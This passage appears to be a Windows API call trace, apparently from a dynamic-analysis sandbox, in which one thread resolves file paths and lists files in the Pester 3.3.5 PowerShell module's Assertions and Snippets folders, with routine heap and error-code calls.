Size=0x30) returned 0x3262d08 [0231.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0231.397] GetCurrentThreadId () returned 0x9b0 [0231.397] GetLastError () returned 0x12 [0231.397] GetLastError () returned 0x12 [0231.397] GetLastError () returned 0x12 [0231.397] GetLastError () returned 0x12 [0231.398] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.Tests.ps1", lpFilePart=0x9bada4*="BeNullOrEmpty.Tests.ps1") returned 0x6a [0231.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.398] GetCurrentThreadId () returned 0x9b0 [0231.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0231.398] GetLastError () returned 0x12 [0231.398] GetLastError () returned 0x12 [0231.398] GetLastError () returned 0x12 [0231.399] GetLastError () returned 0x12 [0231.399] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.ps1", lpFilePart=0x9bada4*="Contain.ps1") returned 0x5e [0231.399] GetCurrentThreadId () returned 0x9b0 [0231.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0231.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0231.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0231.399] GetCurrentThreadId () returned 0x9b0 [0231.399] GetLastError () returned 0x12 [0231.399] GetLastError () returned 0x12 [0231.400] GetLastError () returned 0x12 [0231.400] GetLastError () returned 0x12 [0231.400] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.Tests.ps1", lpFilePart=0x9bada4*="Contain.Tests.ps1") returned 0x64 [0231.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.400] GetCurrentThreadId () returned 0x9b0 [0231.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0231.400] GetLastError () returned 0x12 [0231.401] GetLastError () returned 0x12 [0231.401] GetLastError () returned 0x12 [0231.401] GetLastError () returned 0x12 [0231.401] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.ps1", lpFilePart=0x9bada4*="ContainExactly.ps1") returned 0x65 [0231.401] GetCurrentThreadId () returned 0x9b0 [0231.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0231.402] GetCurrentThreadId () returned 0x9b0 [0231.402] GetLastError () returned 0x12 [0231.402] GetLastError () returned 0x12 [0231.402] GetLastError () returned 0x12 [0231.402] GetLastError () returned 0x12 [0231.402] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.Tests.ps1", lpFilePart=0x9bada4*="ContainExactly.Tests.ps1") returned 0x6b [0231.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.403] GetCurrentThreadId () returned 0x9b0 [0231.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0231.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0231.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0231.403] GetLastError () returned 0x12 [0231.403] GetLastError () returned 0x12 [0231.403] GetLastError () returned 0x12 [0231.403] GetLastError () returned 0x12 [0231.403] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.ps1", lpFilePart=0x9bada4*="Exist.ps1") returned 0x5c [0231.404] GetCurrentThreadId () returned 0x9b0 [0231.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0231.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0231.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.404] GetCurrentThreadId () returned 0x9b0 [0231.404] GetLastError () returned 0x12 [0231.404] GetLastError () returned 0x12 [0231.404] GetLastError () returned 0x12 [0231.404] GetLastError () returned 0x12 [0231.405] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.Tests.ps1", lpFilePart=0x9bada4*="Exist.Tests.ps1") returned 0x62 [0231.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.405] GetCurrentThreadId () returned 0x9b0 [0231.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.405] GetCurrentThreadId () returned 0x9b0 [0231.405] GetLastError () returned 0x12 [0231.405] GetLastError () returned 0x12 [0231.406] GetLastError () returned 0x12 [0231.406] GetLastError () returned 0x12 [0231.406] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.ps1", lpFilePart=0x9bada4*="Match.ps1") returned 0x5c [0231.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0231.406] GetCurrentThreadId () returned 0x9b0 [0231.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0231.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0231.406] GetLastError () returned 0x12 [0231.407] GetLastError () returned 0x12 [0231.407] GetLastError () returned 0x12 [0231.407] GetLastError () returned 0x12 [0231.407] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.Tests.ps1", lpFilePart=0x9bada4*="Match.Tests.ps1") returned 0x62 [0231.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0231.407] GetCurrentThreadId () returned 0x9b0 [0231.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0231.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.450] GetCurrentThreadId () returned 0x9b0 [0231.450] GetLastError () returned 0x12 [0231.451] GetLastError () returned 0x12 [0231.451] GetLastError () returned 0x12 [0231.451] GetLastError () returned 0x12 [0231.451] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.ps1", lpFilePart=0x9bada4*="MatchExactly.ps1") returned 0x63 [0231.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.451] GetCurrentThreadId () returned 0x9b0 [0231.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0231.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0231.452] GetLastError () returned 0x12 [0231.452] GetLastError () returned 0x12 [0231.452] GetLastError () returned 0x12 [0231.452] GetLastError () returned 0x12 [0231.452] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.Tests.ps1", lpFilePart=0x9bada4*="MatchExactly.Tests.ps1") returned 0x69 [0231.452] GetCurrentThreadId () returned 0x9b0 [0231.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0231.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0231.453] GetCurrentThreadId () returned 0x9b0 [0231.453] GetLastError () returned 0x12 [0231.453] GetLastError () returned 0x12 [0231.453] GetLastError () returned 0x12 [0231.453] GetLastError () returned 0x12 [0231.454] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.ps1", lpFilePart=0x9bada4*="PesterThrow.ps1") returned 0x62 [0231.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.454] GetCurrentThreadId () returned 0x9b0 [0231.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.454] GetLastError () returned 0x12 [0231.455] GetLastError () returned 0x12 [0231.455] GetLastError () returned 0x12 [0231.455] GetLastError () returned 0x12 [0231.455] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.Tests.ps1", lpFilePart=0x9bada4*="PesterThrow.Tests.ps1") returned 0x68 [0231.455] GetCurrentThreadId () returned 0x9b0 [0231.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.456] GetCurrentThreadId () returned 0x9b0 [0231.456] GetLastError () returned 0x12 [0231.456] GetLastError () returned 0x12 [0231.456] GetLastError () returned 0x12 [0231.456] GetLastError () returned 0x12 [0231.456] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.ps1", lpFilePart=0x9bada4*="Should.ps1") returned 0x5d [0231.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.457] GetCurrentThreadId () returned 0x9b0 [0231.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0231.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0231.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0231.457] GetLastError () returned 0x12 [0231.457] GetLastError () returned 0x12 [0231.457] GetLastError () returned 0x12 [0231.457] GetLastError () returned 0x12 [0231.457] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.Tests.ps1", lpFilePart=0x9bada4*="Should.Tests.ps1") returned 0x63 [0231.458] GetCurrentThreadId () returned 0x9b0 [0231.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.458] GetCurrentThreadId () returned 0x9b0 [0231.458] GetLastError () returned 0x12 [0231.458] GetLastError () returned 0x12 [0231.458] GetLastError () returned 0x12 [0231.459] GetLastError () returned 0x12 [0231.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Test-Assertion.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Test-Assertion.ps1", lpFilePart=0x9bada4*="Test-Assertion.ps1") returned 0x65 [0231.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.459] GetCurrentThreadId () returned 0x9b0 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ad8 | out: hHeap=0x2ad0000) returned 1 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0231.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0231.460] GetCurrentThreadId () returned 0x9b0 [0231.460] GetLastError () returned 0x12 [0231.460] GetLastError () returned 0x12 [0231.460] GetLastError () returned 0x12 [0231.460] GetLastError () returned 0x12 [0231.460] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0231.462] GetLastError () returned 0x12 [0231.462] GetCurrentThreadId () returned 0x9b0 [0231.462] GetLastError () returned 0x12 [0231.462] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.462] GetLastError () returned 0x12 [0231.462] GetCurrentThreadId () returned 0x9b0 [0231.462] GetLastError () returned 0x12 [0231.462] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.462] GetLastError () returned 0x12 [0231.463] GetCurrentThreadId () returned 0x9b0 [0231.463] GetLastError () returned 0x12 [0231.463] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.463] GetLastError () returned 0x12 [0231.463] GetCurrentThreadId () returned 0x9b0 [0231.463] GetLastError () returned 0x12 [0231.463] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.463] GetLastError () returned 0x12 [0231.463] GetCurrentThreadId () returned 0x9b0 [0231.463] GetLastError () returned 0x12 [0231.464] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.464] GetLastError () returned 0x12 [0231.464] GetCurrentThreadId () returned 0x9b0 [0231.464] GetLastError () returned 0x12 [0231.464] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.464] GetLastError () returned 0x12 [0231.464] GetCurrentThreadId () returned 0x9b0 [0231.464] GetLastError () returned 0x12 [0231.464] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.464] GetLastError () returned 0x12 [0231.465] GetCurrentThreadId () returned 0x9b0 [0231.465] GetLastError () returned 0x12 [0231.465] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.465] GetLastError () returned 0x12 [0231.465] GetCurrentThreadId () returned 0x9b0 [0231.465] GetLastError () returned 0x12 [0231.465] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.465] GetLastError () returned 0x12 [0231.465] GetCurrentThreadId () returned 0x9b0 [0231.465] GetLastError () returned 0x12 [0231.466] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.466] GetLastError () returned 0x12 [0231.466] GetCurrentThreadId () returned 0x9b0 [0231.466] GetLastError () returned 0x12 [0231.466] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.466] GetLastError () returned 0x12 [0231.466] GetCurrentThreadId () returned 0x9b0 [0231.466] GetLastError () returned 0x12 [0231.466] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, 